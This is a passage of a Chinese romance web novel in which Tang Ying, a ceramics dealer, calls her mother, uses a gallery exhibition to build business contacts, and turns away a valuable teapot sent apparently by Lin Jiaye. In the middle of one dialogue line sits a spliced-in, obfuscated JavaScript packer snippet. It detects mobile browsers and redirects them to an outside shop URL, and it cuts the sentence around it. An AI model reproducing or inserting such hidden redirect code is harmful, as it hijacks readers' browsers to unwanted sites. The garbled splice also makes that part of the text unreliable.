回来的时候,林家烨把视频换了,还带了份配套的导览册递给唐迎。 这次不再是“触域”以往的录像,而是网上一个小众的国外讲座,风格有些冒进,但很适合作参考。 唐迎说了声“谢谢”。 林家烨点点头,算是听到了,抬手把视频播了。 唐迎这次看得很认真,对着资料和视频,在手机上记笔记。 房间里只有视频和打字的声音,林家烨一直很安静,全程没有流露出超过关心之外的情绪。 他偶尔会把视频暂停,等着唐迎记完东西,再接着按播放。 视频快看完的时候,唐迎盯着屏幕出声:“我还能再相信你吗?” 林家烨:“你任何时候都可以相信我。” 15. 第 15 章 唐迎回到家的时候,手机里显示了几个未接电话,是唐勇军打来的。 看到这儿她才想起来,自己已经半个多月没给家里去过电话了。以前闲的时候,隔三岔五她就打给周兰英。就算没什么事儿,她也乐意听周兰英唠叨半天家长里短。 周兰英脾气温和,讲话声音都是慢慢的,虽然说的都是些鸡皮蒜毛的小事,但唐迎听着从不觉得烦,反而很安心。 唐迎去洗了个澡,换了家居服,把电话回拨过去,是周兰英接的。 周兰英说:“你爸睡了,什么事儿?” “没事不能打电话吗?”唐迎把窗帘拉上了,“打个视频不?” 周兰英:“多晚了还打视频。” 唐迎说:“让你看看我嘛。” 唐迎知道周兰英嘴上这么说,其实心里可喜欢打视频了。 换了视频,周兰英就从卧室里转到客厅沙发上坐着去了。 周兰英说:“你过年给你爸带的拍子,他用上了,昨天打球的时候李叔还一直冲他要呢,说想试试手感。” 唐迎捕捉到关键字,问:“用上拍了?” 周兰英朝她点点头。 唐迎没再问什么,她知道唐勇军的腰是好些了。他身上的那些毛病总是一阵一阵的,这段日子天气回暖,病痛也会淡一些。 唐迎说:“你跟爸说,李叔想用就给人家试试,明年我给他买更好的。” 周兰英说:“买那么多干嘛!又不会坏。” 唐迎笑了笑,想起来一件事儿,“妈,等过段时间,我给你们接京北来好不好?” 周兰英说:“怎么又提这事儿了。” 唐迎说:“怎么不能提。” 周兰英说:“我和你爸生意走不开。” 唐迎:“那能休息的时候告诉我。” 周兰英:“嗯。” 她“嗯”完就没再说话了。 在唐迎印象里,平常这种打电话的间隙,她的母亲总会说些用有的没的,把电话里的沉默很好地填补进来。 但今天却安安静静的,唐迎知道周兰英还是想来的。 她给自己立下一个期限,这个期限不会太久。 唐迎说:“等过段时间吧,妈,过段时间我看看。” “行,别太忙,别太累,不要总是点外卖。”周兰英只当唐迎是随口说的,又叮嘱了几句,就挂了电话。 唐迎在床上发了一会儿呆,闲不住,给自己泡了杯咖啡,打开一个链接看。 这个是前两天工作人员发给她的,是“触域”专属的小程序,上面能实时显示讲座的售票情况。 她这几天都会时不时刷新一下,看着剩余票数一点一点变少。 现在,上面的票已经显示全部售罄了。 唐迎知道,大部分人都不是为她而来,她只是这个圈子里的新人。 这段日子,她没少和别人打交道,把嘉宾们的底儿都摸得差不多,展览热度高是因为有几个像井鸣这样的大牛。 井鸣名气大,但为人低调,喜欢在自家院子里钻研艺术,但凡掺了点商业性质的活动,他几乎都不来。 唐迎不知道林家烨使了什么手段,让井鸣愿意来参展。 这个圈子吃资源、吃人脉,刚创办没几年的策展地,总要花些时间去沉淀。但“触域”创办以来却势如破竹,几次活动规模都不大,却很好地出圈了,一下子就在业内闯出了些名气。 唐迎慢慢浏览着小程序,页面是简洁又极具风格的,看得出设计者的审美很好。右下角点有“往期活动”的栏目,她点进去。 和她预期中差不多,大部分展览都是走私人小众的路线,场地小而美,请来的嘉宾低调却有含金量。 林家烨是商人,游说的能力大概是一流。 唐迎慢慢得出这样的结论,端在杯子又喝了一口,咖啡从嗓子一直流到胃里,冰冰凉凉。 - 正式开展头两天,唐迎在朋友圈转发了展览链接,说自己手上有票、来玩。 列表里有不少人私信管她要票,有店里的客户、同学、好友。 不管是凑热闹还是带着目的来,唐迎都来者不拒,无差别地送票。 有人和唐迎约饭或者一起看展,唐迎也都会答应。店里就交给小梅打理,而她自己每天要做的事只有应酬。 以前,唐迎的重心不在这个上面,可最近真的做起来,就发现其实没那么难。她的形象无疑是好的,社交能力也不差。 这个月,唐迎又签下了几笔店里的大单。 她知道这只是开始,下个月,下下个月,会比这个月的订单要多更多。 ...... 有时候去“触域”的次数多了,唐迎就和那边驻展的工作人员混了个脸熟。 他们对唐迎隔三岔五带人来的行为已经见怪不怪,这个女人每次来都是不同的风格。 比如今天就是米色衬衫,搭配梳得一丝不苟的低马尾,发梢沿着背部笔直垂下,下身是一条红色半身裙,干练又艳丽。 保安给唐迎开门,“来了唐迎姐?” 唐迎冲他点点头,继续和身边的人说话。 今天和唐迎同行的是一位年轻男人,名叫陈远,穿着很商务,戴了一副金丝眼镜。 展厅里要保持安静,唐迎和他说话的时候,他就会低下头靠过来一点,非常绅士。 接近出口的时候,到了周边商店,陈远拿起一只红色细口花瓶。 “这个好看,”陈远把往她的裙带处比了比,“颜色配你。” 唐迎把花瓶接过来,看了两眼,又放下了。 陈远说:“喜欢吗?可以买一个送给你啊,女生不是都喜欢花。” 唐迎笑了笑:“颜色太艳了。” 正聊着,一个工作人员走过来,叫了唐迎一声,“唐小姐。” “怎么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165430|196689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐迎问。 工作人员递给她一个锦盒,微笑着说:“你来了好多次了,这是‘触域’给嘉宾的伴手礼。” 陈远发出惊叹声,弯腰去仔细看。 唐迎却没有动,她盯着那件“伴手礼”,眉头轻轻皱起。 她是这行的,这绝对不可能是伴手礼级别的东西。 那是只小巧的西施壶,没有花瓶那样纤细的曲线,却像被打磨过的鹅卵石,厚重而妥帖。 壶身呈豆绿色,不像碧绿那么透亮,也没红色那么艳丽。唐迎第一眼看到它的时候,就想起被春雨打湿的苔原,和石板路上残留的青泥。 盒角的毛边纸上写着一行毛笔字,笔迹周正漂亮。 ——茶久则温,器拙乃真。 茶久则温。 褪去初识的热烈,岁月打磨后,方能余韵悠长。 虽说的是茶,但唐迎此刻像是饮了酒。 她下意识抬头环顾了一圈,没有那个人。 “唐小姐?”陈远叫她,“我可以拍一张吗?” 唐迎把视线收回来了,盯着西施壶看,说:“你拍吧。” 等陈远拍完,唐迎把盒子还给工作人员,让他拿回去。 陈远一愣,“怎么还回去了?” 唐迎不打算解释太多,只说:“工作人员送错人了。” 剩下的路,唐迎还是正常陪正常看,只是话变少了,陈远看出来一点,走到门口的时候主动问她:“咱们待会儿去对面吃个饭?” 放在平常,唐迎肯定是要答应这顿饭的,这样的饭局就是工作,是必须要去的。 但今天她不知道为什么有点儿累,想拒绝却不知道怎么开口。 就在她犹豫的时候,旁边过来一个人。 他从他们身边走过,不紧不慢,门口停了一辆车,他走过去开锁。 下一秒,陈远像是发现了新大陆一样惊喜。 他朝着那辆车跑去,喊着:“林先生,林先生!” 前面那人停下来了,转过身安静地看着他。 陈远掏出一张名片递给他,说:“林先生不记得我了?我是陈远,上回在市中心的车展我们见过的......” 林家烨接了名片,低头认真看了看,像是真的在努力回想。 唐迎盯着前面两人,站在门口,留也不是,走也不是。 她今天穿了高跟鞋,这时脚已经有些累了,她轻轻活动了一下脚踝。 林家烨这时抬头往她这边看了一眼。 陈远指指唐迎,“林先生,刚好我们要去吃饭,要不一起?唐小姐您应该也认识......” 林家烨低声重复了句:“唐小姐?” 他朝唐迎望过来,这次他的目光没有一点掩饰了,直接落到她身上。 唐迎深吸了一口气,下意识说:“我不......” 林家烨说:“如果唐小姐愿意去,这顿饭可以一吃。”